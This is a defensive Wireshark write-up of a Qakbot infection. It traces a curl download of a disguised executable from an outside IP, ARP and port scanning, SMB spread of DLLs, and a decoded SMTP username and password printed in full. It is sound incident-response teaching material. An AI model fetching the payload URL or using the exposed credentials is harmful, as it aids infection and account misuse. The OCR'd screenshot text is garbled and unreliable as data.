Malware Traffic Investigation Using
Wireshark (PCAP Analysis)

Case Overview

This investigation analyzes a packet capture file (2023-02-03.pcap) to identify suspicious
activity, Indicators of Compromise (IOCs), and evidence of malware infection within a local
network.

The objective was to examine network traffic, trace malicious downloads, observe post-infection
behavior, and determine the overall security impact.

Lab Environment & Tools Used

Category Tools
Traffic Analysis Wireshark
Threat Intelligence VirusTotal, OSINT research
Packet Filtering Wireshark Display Filters
File Analysis Hash extraction, file signature inspection
Decoding Tool CyberChef (Base64 decoding)
Protocols HTTP, ARP, ICMP, SMTP, SMB
Investigated

Initial Traffic Review

After loading the PCAP into Wireshark:

e Total packets captured: ~55,000
e Capture duration: 2 hours 50 minutes

Using Statistics — Conversations, one internal host stood out:



Wireshark - Conversations - 2023-02-03.pcap

File Edit

Conversation Settings Ethernet-8 | IPv4-150 | IPv6 | TCP-762 @ UDP-722
Address A Address B Packets Bytes « Packets A — B Bytes A— B Packets B— A =
10.0.0.148 10.0.0.6 12,040 8 MB 8,036 7MB 4,004
{0. Absolute start time 10.0.0.148 208.187.122.74 5,806 7 MB 4,712 474 kB 5,094
H . displav fil 10.0.0.149 5.75.205.43 4,127 3 MB 1,878 3 MB 2,249
i 2 Lol ey Il 10.0.0.149  74.6.143.26 2,747  2MB 1314 75kB 1,433
! a Copy . 10.0.0.148 128.254.207.55 1,924 2 MB 639 35kB 1,285
L 5 10.0.0.148 13.107.42.14 1,449 1MB 674 53 kB 775
5 10.0.0.149 23.58.117.164 1,020 722 kB 497 32kB 523
7 10.0.0.149 209.131.162.45 1,047 710kB 470 34 kB 577
8 10.0.0.148 102.156.32.143 892 680 kB 471 655 kB 421
g 10.0.0.145 23.214.54.85 877 657 kB 411 28 kB 466
1a e ] +[~| 10.0.0.149  69.58.187.40 880  650kB 400 25kB 480
Bl 10.0.0.148 20.10.31.115 1,024 598 kB 350 40 kB 674
v Frame uetooth
Ethern BRVT 10.0.0.148 184.86.165.24 764 550 kB 375 26 kB 389
: o DCCP 10.0.0.149  78.31.67.7 3,913 439kB 1,947 311kB 1,966
, User D 7| Ethernet 10.0.0.149 23.64.146.226 524 376 kB 244 19 kB 280
» Dynami: — 3 10.0.0.148 23.111.114.52 2,342 335kB 1,071 235kB 1,271
Filter list For 10.0.0.148 96.6.184.69 404 282 kB 194 14kB 210 [+
1 13
Suspicious Host: 10.0.0.149
This system had an unusually high number of conversations with both internal and
external IP addresses.
Protocol Analysis
From Statistics — Protocol Hierarchy, the following protocols were observed:
e HTTP
e SMTP
e SMB
e ARP
Wireshark - Protocol Hierarchy Statistics - 2023-02-03.pcap n &) &
Protocol ~ Percent Packets Packets Percent Bytes Bytes Bi*
-~ Frame 100.0 55207 100.0 31172531 2,
- Ethernet 100.0 55207 2.5 772898 5
~ Internet Protocol Version 4 96.3 53164 3.4 1063308 8|
+ User Datagram Protocol 3.1 1730 0.0 13840 i
= Transmission Control Protocol 93.1 51423 93.2 29062433 2|
Transport Layer Security 13.2 7277 62.2 19375514 1
Simple Mail Transfer Protocol 0.1 37 0.0 2196 1
~ MNetBIOS Session Service 1.6 884 17.6 5485249 4
~ SMB2 (Server Message Block Protocol version 2) 1.3 744 17.6 5471348 4,
Data 01 38 17.0 5286439 4
~ SMB (Server Message Block Protocol) 0.2 126 0.1 16167 1
~ SMB Pipe Protocol 0.1 28 0.0 406 0
Microsoft Windows Lanman Remote API Protocol 0.1 28 0.0 468 0
~ Lightweight Directory Access Protocol 23 1278 2.7 840142 6
Malformed Packet 0.0 4 0.0 0 0
Kerberos 0.1 46 0.2 56566 4
~ Hypertext Transfer Protocol 0.0 4 5.7 1763357 1/~
1 13
No display filter.
@ Help Protocols - Copy - Close

Since HTTP traffic is unencrypted and had fewer packets, it was analyzed first.



Malicious File Download via HTTP

Filtering for HTTP traffic revealed 4 packets.

Following the HTTP stream showed:

Source: 10.0.0.149

User-Agent: curl

Request Type: HTTP GET

Requested File: 86607 .dat

Host field: IP address 128.254.207.55 instead of a domain name (suspicious behavior)

2023-02-03.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN ioBPBIRE A< I --EEFQa@E

Src Port  Destination Dest Port  Protocol Length Info
49750 128.254.207 .55 80 HTTP 141 GET /86607.dat HTTP/1.1

10.0.0.149 49750 HTTP 905 HTTP/1.1 208 OK
108998 10.0.0.149 49896 192.229.211.108 80 HTTP 208 GET /DigiCertTLSRSASHA2562020CA1-1.crt HTTP/1.1
L7:25:52.151162 192.229.211.108 80 10.0.0.149 49896 HTTP 150 HTTP/1.1 200 OK (application/pkix-cert)
C
Checksum: 0xed473 [unverified] = 00 13 5f e5 77 18 00 21 5d 9e 42
[Checksum Status: Unverified] 10 00 7f e9 ca 40 00 89 06 b5 e3 @a
Urgent Pointer: ® 2
» [Timestamps] 0030
» [SEQ/ACK analysis] 0048
TCP payload (87 bytes) 00508
0060
+ GET /86607.dat HTTP/1.1\r\n 0070
Host: 128.254.207.55\r\n 0080
User-Agent: curl/7.83.1\r\n
Accept: */*\r\n
Arin
[Full request URI: http://128.254.207.55/86607.dat
[HTTP request 1/1]
[Response in frame: 3656]
-4 C
@ ¥ Hypertext Transfer Protocol (http), 87 bytes Packets: 55207 - Displayed: 4 (0.0%) Profile: Default

Inspection of the file contents revealed the “MZ” file signature, indicating the .dat file is
actually a Windows executable.



Wireshark - Follow HTTP Stream (tcp.stream eq 75) - 2023-02-03.pcap - o x

GET /86607.dat HTTP/1.1 =
Host: 128.254.207.55

User-Agent: curl/7.83.1

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 83 Feb 2023 17:04:24 GMT

Content-Type: application/octet-stream
Content-Length: 1761280

Connection: keep-alive

Accept-Ranges: bytes

Expires: ©

Cache-Control: no-cache, no-store, must-revalidate
Content-Disposition: attachment;

I ((liaccccooo00000000000000000000000000000000000a .!..L.!This program cann
ot be run in DOS mode.

L 60nbaa0ac0a0annanaacaa 4Ja60000a00a0a00a0080000a00000a00a0aa0a0080000aa0aa0a00a0aa08a0a8 Rich
......... PE. .L. 5 T

Booooaocoooocacoooooonnoooo0000a P R blooadJoacccccoooooononooooooa (Jaaccccoooooooooooos -

1 client pkt, 1 server pkt, 1 turn.

Entire conversation (1,761 kB) - Show data as | ASCII - Stream |75 |2

Find: Find Next
O Help Filter Out This Stream Print Save as... Back @ close

Malware Confirmation

The file was exported and hashed.
VirusTotal results showed:

e Flagged by 50+ security vendors
e I|dentified as Qakbot malware
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Post-Infection Behavior — ARP Scanning

Qakbot is known for network discovery and lateral movement.

Filter used:

arp && eth.dst == ff:ff:ff:ff:ff:ff

Host 10.0.0.149 generated numerous ARP broadcast requests, indicating network scanning
activity.
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2023-02-03.pcap

QRQAAQE

[ |arp and eth.dst eq FF:fFFEFFFRFF

Destination
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast
Broadcast

Brandanet

@ 7 Destination: Ethernet or other MAC address

Protocol

ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP
ARP

APD

Frame 55: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
Ethernet II, Src: Intel 9e:42:fb (00:21:5d:9e:42:fb),
» Destination: Broadcast (ff:ff:ff:ff:ff:ff)
+ Source: Intel 9e:42:fb (08:21:5d:9e:42:fb)

Type: ARP (0x0806)
Address Resolution Protocol (ARP Announcement)

Length Info

42 who
42 Who
42 who
42 wWho
42 Who
42 who
42 who
42 Who
42 who

A% Llhn

ERoNoRoRoNoNoNoN-Nol
RN RoN-R-NoN-Nol

2487
2477
2477
2477
2477
2477
2472
2467
2467

nacn

Dst: Broadcast (ff:ff:ff:ff:ff:ff)

Packets: 55207 - Displayed: 1504 (2.7%)

Tell
Tell
Tell
Tell
Tell
Tell
Tell
Tell
Tell

ThiT

10

10
10

10
10
10

160
10
10

an

hooooCOO®O®®
rocooooOO®®

149
149
149
149
149
149
149
149
149

TS

ff ff ff ff ff ff g0 21
08 00 06 04 00 01 0O 21
00 00 00 GO 0O 0@ Ba 0O

10.0.0.1
10.0.0.6

ICMP & Port Scanning Activity

Two systems responded to network probing:

Filtering traffic for these IPs revealed multiple TCP SYN packets, indicating port scanning



2023-02-03.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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[W]ip-addreq 10.0.0.1 ]

Source Src Port  Destination Dest Port  Protocol

Length Info

It
1.023281 10 0 50783 TCP 4 139 — 50783 [RST,
.024187 10.0.0.149 . . 137 NBNS 92 Name query NBSTAT
.569213 10.0.0.149 137 NBNS 92 Name query NBSTAT
.191649 10.0.0.149 . 137 NBNS 92 Name query NBSTAT *<00><00><00><00><00><00><00><00><00>1
.697893 10.0.0.149 . 8@ TCP 66 50785 —~ 80 [SYN] Seq=0 Wi
5.697924 149 50785 TCP
4 85 TCP
.212084 16 1 9

Frame 54664: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
~ Ethernet II, Src: Intel 9e:42:fb (00:21:5d:9e:42:fb), Dst: Cisco_e5:77:18 (00:13:5f:e5:77:18) 00 3c 74 e7 00 00 ff 01 32 44 0a (

» Destination: Cisco_e5:77:18 (80:13:5f:e5:77:18) 00 01 68 80 4b 3b 80 1 02 20 61 ¢
+ Source: Intel 9e:42:fb (08:21:5d:9e:42:fb) 67 68 69 6a 6b 6c 6d 6e 6 70 71 ]
Type: IPv4 (0x0800) 77 61 62 63 64 65 66 67 68 69

Internet Protocol Version 4, Src: 10.6.8.149, Dst: 10.0.6.1
Internet Control Message Protocol

. C
@ 7 2023-02-03.pcap Packets: 55207 - Displayed: 35 (0.1%) Profile: Default

SMTP Credential Exposure

SMTP traffic analysis showed:

e AUTH LOGIN attempts
e Base64 encoded credentials transmitted in plaintext

Decoded credentials:

e Username: arthit@macnels.co.th
e Password: Art123456

Although authentication failed, the credentials were exposed and may be compromised.



Wireshark - Follow TCP Stream (tcp.stream eq 615) - 2023-02-03.pcap -

220 wwml71-181.yes-hosting.com ESMTP Sat, 94 Feb 2023 02:29:52 +0700
EHLO localhost

250-wwm171-181.yes-hosting.com Hello localhost [71.167.93.52], pleased to meet you
2560-ETRN

250-AUTH LOGIN CRAM-MD5 PLAIN

250-8BITMIME

250-ENHANCEDSTATUSCODES

250 SIZE 20480000

AUTH LOGIN

334 VXNlcmShbwUé

¥XJ0aG1leQG1lhY251bHMuY28udGg=

334 UGFzc3dvcmQ6

QXJOMTIzNDUZ2

535 5.7.8 Authentication failed

500 5.0.8 Unrecognized command

QUIT

221 2.0.0 See ya in cyberspace

6 client pkts, 7 server pkts, 12 turns.

| Entire conversation (467 bytes) - | Show data as |ASCII - | Strear
Hnd:| |[
| @Help | | Filter Out ThisStream || Print || Saveas.. | Back |
2 o1I0TI T
1ce MNumber: 29 (relative sequence number)] |
ant Mumbher: 254 frelative ack number) ijf
acap Packets: 55207 - Disp
L S M R A T L § T e e P L e g - o
¥ Last build: A day ago - Version 10 is here! Read about the new features here Options # About / Sup
Recipe ~ BB ¥ Input + O3 1
~ @ g \XNlcmShbWus
o asasy ¥XJ0aG18Q61hY25 bHMUY28udGg=
< Alphabet [UGFzc3dvemQs
A-Za-70-9+/= - QXJOMTIZNDUZ
Remove non-alphabet chars [_] Strict mode
me 67 = 4 Tr Raw Byte
Output B0l

[Username:arthit@macnels.co.thPassword: Art123456




SMB Malware Propagation

SMB traffic analysis showed file transfers. Exported files revealed:

Suspicious DLL files with random naming patterns
Hash analysis matched Qakbot malware

-
)
Text Filter:
6 Packet ~ Hostname
496
546
’ 574
=
16791
16841
16869
50264  \\10.0.0.6\IPC$
51596  \\10.0.0.6\Shared
51607  \\10.0.0.6\Shared
51813 \\10.0.0.6\C$
53256 \10.0.0.6\CS
54583 \\10.0.0.6\ADMINS
A 54598  \\10.0.0.6\ADMINS
?
= g
) 4
.\.’ @Help

) The chanc

0 a

DETAILS

Join our Communi

Popular threat label

Security vendors' anal;

Wireshark - Export - SMB object list B G €

Content Type

\\WORK4US-DC.work4us.org\sysvel FILE (22/22) R [100.00%]
\\WORK4US-DC.work4us.org\sysvol FILE (1098/1098) R [100.00%]
\\WORK4US-DC.work4us.org\sysvol FILE (22/22) R [100.00%)]
\\WORK4US-DC.work4us.org\IPC$  FILE (160/160) R&W [100.00%]
\\WORKA4US-DC.work4us.org\sysvol FILE (22/22) R [100.00%]
\\WORK4US-DC.work4us.org\sysvol FILE (1098/1098) R [100.00%]
\\WORK4US-DC.work4us.org\sysvel FILE (22/22) R [100.00%]

FILE (116/116) R&W [100.00%)]

FILE (1761280/1761280) W [100.00%]
FILE (105/105) W [100.00%)]

FILE (1761280/1761280) W [100.00%]
FILE (105/105) W [100.00%)]

FILE (1761280/1761280) W [100.00%]
FILE (105/105) W [100.00%)]

& moss|of £ 213.227.1° £ 128.254.2

virustotal.com

147a4199eb183 7e957056432

Content Type: | All Content-Types ~

Size Filename
22 bytes  \workaus.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini
1,098 bytes \work4us.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\w

22 bytes  \work4us.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini
160 bytes  \samr
22bytes  \work4us.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\gpt.ini

1,098 bytes \work4us.org\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\W
22 bytes  \work4us.org\Policies\{31B2F340-016D-11D2-945F-00C04FBS84F9}\gpt.ini

116 bytes  \srvsvc

1,761kB  \efweioirfbtk.dll

105 bytes  \efweioirfbtk.dll.cfg

1,761kB  \umtqgzkklrgp.dll

105 bytes  \umtqqzkklrgp.dll.cfg

1,761kB  \ltoawuimupfxvg.dil

105 bytes  \ltoawuimupfxvg.dll.cfg

o

save All || @close { save
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Indicators of Compromise (I0OCs)

Type Value
Infected Host 10.0.0.149
Malware Family Qakbot
Malicious File 86607.dat
Protocol Used HTTP
Post-Infection Activity ARP scanning, Port scanning, SMB
propagation
Compromised arthit@macnels.co.th / Art123456
Credentials

Recommended Mitigations

Immediately isolate host 10.0.0.149 from the network

Reset and invalidate exposed credentials

Block the malicious external IP address at firewall level

Scan all network hosts for Qakbot-related indicators

Monitor SMB traffic for abnormal file transfers

Implement email security controls to prevent credential exposure
Enforce HTTPS and encrypted protocols where possible

Conclusion

This investigation uncovered a full malware infection lifecycle:

Malicious file download via HTTP
Execution of disguised executable
Network reconnaissance via ARP scanning
Port scanning of internal hosts

Credential exposure through SMTP
Malware propagation using SMB

RS

The observed behavior strongly aligns with Qakbot infection patterns, demonstrating the
importance of traffic analysis in detecting and responding to network-based threats.
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